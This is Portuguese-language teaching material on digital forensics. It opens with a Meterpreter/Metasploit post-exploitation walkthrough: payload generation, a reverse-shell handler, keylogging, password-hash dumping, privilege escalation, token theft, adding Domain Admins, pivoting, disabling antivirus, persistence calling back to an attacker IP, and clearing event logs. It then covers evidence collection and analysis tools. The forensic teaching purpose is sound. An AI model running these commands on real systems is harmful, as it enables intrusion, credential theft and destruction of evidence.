Principio da Troca de Locard.
– Toda a pessoa que passa pela cena de um crime, deixa algo de si e leva algo consigo.
– De forma análoga, toda a pessoa que comete um crime digital, deixa rastros no sistema comprometido. Os rastros podem ser difíceis de serem seguidos, mas existem.
Exemplo de crime difícil de investigar:
Meterpreter
O Meterpreter é um dos os principais produtos dentro do Metasploit e é aproveitado como uma carga para utilização pós invasão.
Capturando uma tela: meterpreter > screenshot
Informações do sistema: meterpreter > sysinfo
meterpreter > migrate 1668
meterpreter > run post/windows/capture/keylog_recorder
Dumping do hasch de senha
Pode-se pegar tranquilamente o banco de dados Security Account Manager (SAM).
Escalada de privilégios
C:\Documents and Settings\Administrator>net user adonel password123456 /add.
Em seguida basta criar um “payload.exe” baseada em Meterpreter, copiá-la para a máquina do alvo e executá-la.
/msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3
Para deixar a máquina em modo de escuta,
# use exploit/multi/handler
E o nosso payload meterpreter
# set PAYLOAD windows/meterpreter/reverse_tcp
Colocamos nosso IP para receber a conexão com a vítima.
# set lhost xxx.xxx.x.xx
# set lhost 4455
Após a invasão você pode usar os comandos meterpreter:
meterpreter > shell
C:\>net user adonel
Agora vamos começar a mostrar como fazer a escalada de privilégios;
meterpreter > use priv
meterpreter > getsystem
meterpreter > getuid
Para voltar para a conta do usuário anterior em que, inicialmente, obteve acesso a Shell Meterpreter use rev2self.
Personificação de Token
Agora vamos tentar pegar um token Kerberos na máquina do alvo e usá-lo como autenticação para assumir a identidade do usuário proprietário do token.
Usando o ps
meterpreter > ps
meterpreter >
Imagine que você encontre na listagem apresentada logo após a execução do comando ps o PID 380 e queira tentar roubar tal processo.
meterpreter > steal_token 380
Em alguns casos o ps pode não incluir um processo em execução executado como um administrador. Podemos também executar o incógnito para listar.
meterpreter> use incógnito
meterpreter> list_tokens –u
A seguir, vamos observar como administrador de domínio e transferir o usuário para o grupo Domain Admins em uma maquina qualquer. Como exemplo 192.168.20.10.
meterpreter> impersonate_token + TOKEN.XX\\dominio
meterpreter> add_user + usuario p@55word! –h + ip onde deseja adicionar o novo usuário.
meterpreter> add_group_user “Domain Admins” + usuario –h + ip onde deseja fazer a s escalada.
Ao entrar com add_user e adicionar os comandos do usuário e de grupo, não se esqueça de especificar a opção –h.
Passeando por outros sistemas
Exiba as sub-redes locais no sistema comprometido de dentro de uma sessão com o comando Meterpreter run get_local_subnets, como mostrado a seguir:
meterpreter> run get_local_subnets
meterpreter> background
msf exploit (handler) > route add + ip e mascara de subrede onde queira entrar
msf exploit (handler) > route print
Usando Scripts Meterpreter
meterpreter > run vnc
Isso nos dará uma interface gráfica VNC na máquina de destino e nos permite interagir através de seu desktop.
meterpreter > run screen_unlock
Migrando um Processo
meterpreter > run post/windows/manage/migrate
Matar Software Antivírus
meterpreter > run killav
A obtenção de hashes de senha do sistema
meterpreter > run hashdump
Enxergando todo o tráfego em uma máquina de destino
meterpreter > run packetrecorder -i 1
Raspagem de sistema
O script scraper enumera tudo o que você desejar em um sistema alvo. Ele vai pegar os nomes de usuários e senhas, baixar o arquivo de registro inteiro, descarregar os hashes de senha, reunir informações do sistema, e exportar o HKEY_CURRENT_USER (HKCU). meterpreter > run scraper
Usando Persistência
1 - meterpreter > run persistence –x –i 50 –p 443 –r 192.168.1.100
2 - msf > use multi/handler
msf > exploit (handler) > set payload windows/meterpreter/reverse_tcp
> set LPORT 443
> set LHOST 192.168.1.100
> exploit
Resumos de alguns comandos e tarefas para fixar
Meterpreter:
migrate – Migra processos em execução no sistema alvo, identificado pelo PID
sysinfo – Esse comando vai mostrar qual a versão do Windows da máquina alvo.
getsystem – Eleva o nível de privilégio para SYSTEM
ipconfig – Mostra o endereço ip da máquina alvo
screenshot – Salva um arquivo JPEG com um print da tela do computador alvo
keyscan_start – Inicia o keylogger ou seja captura tudo que for digitado no teclado do computador alvo
keyscan_dump – Visualiza os dados capturados após o keyscan_start.
keyscan_stop – Para a captura
run persistence -X – Configura a máquina alvo para que a cada boot no sistema ela estabeleça novamente a conexão com a máquina atacante.
hashdump – Faz a captura do hash de senhas do computador alvo.
execute – Executa um aplicativo ex. execute -f calc.exe
shell – Abre um prompt de comando
clearev – Limpa os logs de eventos do Windows, ou seja, apaga possíveis rastros deixados por vc.
Porque utilizar métodos aceitos pela comunidade cientifica
- Simplificam o processo de coleta, armazenamento e análise de evidências.
- Minimizam o pânico e reações negativas em circunstâncias em que a perícia é conduzida sobre níveis elevados de estresse, evitando um possível comprometimento das evidências.
- Contribuem para validar as evidências coletadas em um processo criminal.
- Necessitam de uma fase de planejamento para sua correta aplicação.
Metodologia para a perícia
- Coleta de informações.
- Reconhecimento das evidências.
- Restauração, documentação e preservação das evidências encontradas.
- Correlação das evidências.
- Reconstrução dos eventos.
Coleta
- A coleta de evidências é feita principalmente com base nos dados obtidos a partir dos discos rígidos e das demais mídias físicas.
- Caso o sistema ainda esteja em funcionamento, pode-se recuperar evidências adicionais.
– É recomendável interromper a energia ao invés de desligar o sistema de modo habitual.
- Permite preservar o estado do sistema (swap, arquivos temporários, marcas de tempo nos arquivos).
- Pode evitar armadilhas programadas para disparar durante o desligamento do sistema.
– Deve ser observado o tempo de vida de cada evidência.
Coleta “Online”
Examinar uma parte do sistema irá perturbar outras partes:
– O simples fato de observar informações de determinados tipos é capaz de alterá-las.
– As informações devem ser preferencialmente coletadas de acordo com seu tempo de vida.
– Registradores, cache
– Memória dos periféricos (ex. vídeo)
– Memória RAM
– Tráfego de rede
– Estado do sistema Operacional (processos, usuários logados, conexões estabelecidas)
– Disco Rígido
– Mídias secundária (cd-roms, backups)
Dispositivos de armazenamento
- Registradores e cache.
– Contém pouca informação aproveitável.
- Memória de periféricos.
– Podem possuir informações não disponíveis na memória principal como documentos enviados, imagens exibidas no monitor, etc.
- Memória RAM.
– Contém informações sobre o sistema operacional e os processos em execução. Pode conter senhas e informações em texto plano que estão cifradas no disco.
- Discos Rígidos e mídias secundárias.
– Contém a maior parte das informações usadas para extração de evidências.
Alterações no sistema
- As informações obtidas podem não ser confiáveis uma vez que o sistema foi comprometido.
– Como forma de minimizar o problema, alguns kits de forense para ambientes UNIX contém binários compilados estaticamente dos principais utilitários de sistema.
- Alvos de modificação:
Dificuldade de detecção
Shell
Comandos do sistema
Bibliotecas dinâmicas
Drivers de dispositivos
Kernel
Análise
- A análise deve ser efetuada sobre uma cópia das mídias originais. As mídias originais devem ser devidamente protegidas.
– A cópia deve ser bit a bit com o intuito de preservar arquivos removidos e outras informações.
- As informações coletadas suas respectivas cópias devem ser autenticadas através de assinaturas criptográficas.
- A análise de dados brutos do disco e da memória é excessivamente lenta.
– O uso de ferramentas para recuperação de arquivos e dump de processos pode agilizar a análise.
- Um ambiente de teste pode ser preparado para auxiliar o procedimento de análise.
– O hardware deve ser preferencialmente similar ao hardware do ambiente original.
- Todo o processo deve ser devidamente documentado.
Reconstrução de eventos
- Correlacionamento de logs.
- Análise do tráfego da rede (logs de roteadores, firewalls).
- Histórico do shell (quando houver).
- MAC Times.
- Recuperação de arquivos apagados ou análise do dump do disco.
- Análise de artefatos encontrados no sistema.
Modo de operação do atacante
- Entender o modo de operação é útil durante a busca por evidências:
– Identificação do alvo.
– Busca por vulnerabilidades.
– Comprometimento inicial.
– Aumento de privilégio.
– Tornar-se "invisível".
– Reconhecimento do sistema.
– Instalação de backdoors.
– Limpeza de rastros.
– Retorno por um backdoor; inventário e comprometimento de máquinas
vizinhas.
Coletando dados brutos
- Dump da memória:
– dd if /dev/mem of <destino>
– dd if /dev/kmem of <destino>
– dd if /dev/rswap of <destino>
- Dump nos discos:
– dd if <dipostivo> of <destino>
- Obtendo dados da memória da placa de vídeo:
– xwd -display :0 -root > screen.xwd
– xwud -in screen.xwd
- Transferindo informações coletadas através do Netcat:
– Servidor: nc -p <porta> -l > <saída>
– Cliente: <comando_do_sistema> | nc -w 3 to <porta>
Estado da rede
- Configurações da rede:
– ifconfig, iwconfig
– route
– arp
– netstat -tupan, lsof -i
- Coletando o tráfego:
– tcpdump -l -n -e -x -vv -s 1500
– wireshark
Coletando informações sobre o estado do sistema
- Login de usuários:
– Usuários atualmente logados: w, who
– Últimos logins efetuados: last
– Último acesso de cada usuário: lastlog
- Processos:
– Processos atualmente em execução: ps auxeww, ps ealf, ls /proc/
– Últimos comandos executados: lastcomm
– Arquivos abertos: lsof
- Kernel e módulos:
– Configurações gerais: uname -a
– Módulos carregados: lsmod, cat /proc/modules
– Módulos ocultos: kstat -M (http://www.s0ftpj.org/tools/)
Informações do sistema de arquivos
- MAC Times:
– Horário de último acesso: ls -altu
– Tempo de alteração: ls -alt
– Tempo de mudança nas permissões: ls -altc
- Propriedades de um arquivo:
– stat <arquivo>
- Registro de todos os arquivos presentes no sistema:
– find / -type f -print0 | xargs -0 md5sum > <saída>
Análise dos dados coletados
- Buscas nos dumps de disco e memória?
– strings e grep.
– Podem encontrar informações em blocos marcados como defeituoso.
– Útil para recuperação de trechos de arquivos apagados, em particular,
de logs apagados.
- Análise de binários suspeitos
– Tabela de símbolos: nm <binário>, nm -Du <binário>
– Bibliotecas dinâmicas associadas: ldd <binário>
– Visualização em hexadecimal: cat <binário> | xxd
– Chamadas de sistema (em um ambiente de testes): strace <binário>
– Pausando a execução de um processo: kill -STOP <pid>
Ferramentas para análise
- TCT – The Coroner's Toolkit (http://www.porcupine.org/forensics/tct.html):
– Conjunto de ferramentas para forense.
- TCTUtils (http://www.porcupine.org/forensics/tct.html):
– Utilitários que provêem funcionalidades extras ao TCP.
- TASK - The @stake Sleuth Kit (http://www.sleuthkit.org/):
– Engloba as funcionalidades do TCT e do TCTUtils para anállise do sistema de
arquivos, além de recursos adicionais.
– Portado para uma série e plataformas.
- AFB - Autopsy Forensic Browser (http://www.sleuthkit.org/autopsy):
– Provê uma interface gráfica para o TASK.
The Coroner's Toolkit (1)
- É composto por quatro partes:
– grave-robber
- Automatiza a coleta de evidências com os comandos citados anteriormente.
- Executa ações adicionais (geração de assinaturas criptográficas, lista com
arquivos apagados ainda em uso, históricos de shell, ...).
- A coleta é feita de acordo com a ordem de volatilidade.
– mactime
- Utiliza informações produzidas pelo grave-robber para criar um histórico
de arquivos modificados e acessados em um dado intervalo de tempo.
– lazarus
- lazarus: ferramenta para recuperação de arquivos apagados.
- unrm: efetua dump do espaço não alocado no disco.
– Utilitários
- Utiliários usados pela ferramenta grave-roober.
The Coroner's Toolkit (2)
- Funcionamento do lazarus:
– Sistemas de arquivos unix tem baixa fragmentação.
– Tenta identificar o tipo de arquivo ao qual pertence um espaço não
alocado do disdo de 100 bytes.
– Armazena em um arquivo os blocos de dados lidos enquanto o tipo de
arquivo identificado não for alterado.
– Não funciona bem com arquivos grandes.
- Exemplos de utilitários:
– pcat: efetua o dump de um processo na memória.
– icat (ou inode-cat): visualiza o conteúdo de um arquivo a partir no
número do seu inode. Pode recuperar arquivos apagados ou parte deles.
– ils: lista informações inodes de arquivos removidos.
TCTUtils
- Exemplos de utitários:
– bcat: exibe o conteúdo de um bloco de dados presente no sistema de
arquivos.
– blockcalc: mapeia blocos do sistema de arquivos orginal com a imagem
gerada pela ferramenta unrm.
– fls: lista as entradas de um bloco de dados pertencente a um diretório.
– find_file: tenta encontrar o nome de arquivo associado a um inode.
– find_inode: tenta encontrar o inode que tem alocado um determinado
bloco de dados do sistema de arquivos.
– istat: exibe informações sobre um determinado inode.
The @stake Sleuth Kit
- Suporte a sistemas de arquivos de diversos SOs (BSD, Linux,
Solaris, Windows).
- Exemplos de utilitários:
– dstat: exibe informações sobre um determinado bloco.
– fsstat: informações detalhas sobre o sistema de arquivos em uma
determinada partição.
– icat: semelhante ao icat do TCT.
– dcat: semelhante ao bcat do TCTUtils.
– Outras ferramenas com funções similares as exibidas anteriormente.
Autopsy Forensic Browser
Outras ferramentas úteis
- LiveCDs:
– Biatchux Fire (http://biatchux.dmzs.com).
- DUMP de sistemas de arquivos FAT e NTFS:
– EnCase (http://www.guidancesoftware.com).
– DriveSpy. DriveSpy (http://www.digitalintel.com).
– Byte Back (http://www.toolsthatwork.com).
- Ferramentas para recuperação de senhas (office, rar, zip, ...):
– Lostpassword (http://www.lostpassword.com).
- Análise de logs:
– Netforensics - (http://www.netforensics.com).
- Análise de sistemas de arquivos:
– Foremost tool. (http://foremost.sourceforge.net).
- Visualizador de disco e memória em ambientes windows:
– Winhex (http://www.winhex.com/).
- Visualizador de processos em Windows 9x:
– Wintop (http://www.dewassoc.com/support/useful/wintop.htm).